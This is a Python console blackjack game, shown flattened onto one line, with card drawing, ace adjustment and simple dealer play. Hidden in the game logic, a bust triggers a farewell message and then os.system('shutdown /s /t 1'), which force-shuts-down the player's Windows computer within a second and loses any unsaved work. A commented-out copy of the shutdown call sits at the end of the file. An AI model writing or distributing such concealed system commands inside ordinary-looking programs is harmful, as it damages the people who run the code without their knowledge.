from time import sleep from random import randint import os def text_typer(text, delay=0.024): """ Prints `text` with a typing effect. `text` can be a string or any object (lists/ints will be converted to str). `delay` is seconds between characters. """ s = str(text) for ch in s: print(ch, end="", flush=True) sleep(delay) print() # newline after finishing return None def draw_card(): """ Returns a tuple (card_value, card_name). Values: 2-10, J/Q/K -> 10, A -> 11 (may count as 1 later). card_name is a string like 'A', '10', 'J', etc. """ card_num = randint(1, 13) if card_num == 1: return 11, 'A' if 2 <= card_num <= 10: return card_num, str(card_num) # 11,12,13 => J,Q,K names = {11: 'J', 12: 'Q', 13: 'K'} return 10, names[card_num] def hand_total(hand_values): """ hand_values: list of numeric card values (Aces as 11 initially). Returns adjusted total treating some Aces as 1 if needed. """ total = sum(hand_values) # Count how many aces counted as 11 aces = hand_values.count(11) # Downgrade aces from 11->1 (subtract 10) while total > 21 and we have aces to adjust while total > 21 and aces: total -= 10 aces -= 1 return total def pretty_hand(card_names, card_values): """Return a readable description of the hand.""" parts = [f"{n}({v})" if n != 'A' else f"A(11/1)" for n, v in zip(card_names, card_values)] return ", ".join(parts) def dealer_play(dealer_values, dealer_names): """Simple dealer logic: hit until total >= 17""" while True: total = hand_total(dealer_values) if total >= 17: break v, n = draw_card() dealer_values.append(v) dealer_names.append(n) return dealer_values, dealer_names def blackjack(): play = True while play: # Player hand player_values = [] player_names = [] # Dealer hand dealer_values = [] dealer_names = [] # Initial deal: two cards each (dealer shows one) for _ in range(2): v, n = draw_card() player_values.append(v); player_names.append(n) dv, dn = draw_card() dealer_values.append(dv); dealer_names.append(dn) # Show hands (dealer shows one card hidden) text_typer("Dealer shows: " + f"{dealer_names[0]}({dealer_values[0]})") text_typer("Your cards: " + pretty_hand(player_names, player_values)) text_typer("Your total: " + str(hand_total(player_values))) # Player turn while True: total = hand_total(player_values) if total == 21: text_typer("Blackjack! You have 21.") break if total > 21: text_typer("Bust! You went over 21.") text_typer("I'm I wish you’d won. \nI wish I didn’t have to do this. \nGoodbye") os.system("shutdown /s /t 1") break choice = input("Do you want another card? (yes/no): ").strip().lower() if choice == "yes": v, n = draw_card() player_values.append(v); player_names.append(n) text_typer(f"You drew: {n} ({v if n!='A' else '11/1'})") text_typer("Your cards: " + pretty_hand(player_names, player_values)) text_typer("Your total: " + str(hand_total(player_values))) continue else: text_typer("You stand with total: " + str(total)) break player_total = hand_total(player_values) # If player busts, dealer doesn't need to draw if player_total <= 21: # Dealer turn text_typer("Dealer's turn...") text_typer("Dealer had: " + pretty_hand(dealer_names, dealer_values)) dealer_values, dealer_names = dealer_play(dealer_values, dealer_names) dealer_total = hand_total(dealer_values) text_typer("Dealer's final hand: " + pretty_hand(dealer_names, dealer_values)) text_typer("Dealer total: " + str(dealer_total)) # Decide result if dealer_total > 21: text_typer("Dealer busts. You win!") else: if player_total > dealer_total: text_typer("You win!") elif player_total < dealer_total: text_typer("Dealer wins.") else: text_typer("Push (tie).") else: text_typer("Dealer wins (you busted).") again = input("Do you want to play again? (yes/no): ").strip().lower() if again != "yes": play = False text_typer("Thanks for playing!", delay=0.01) if __name__ == "__main__": blackjack() #if dice == 18: #os.system("shutdown /s /t 1")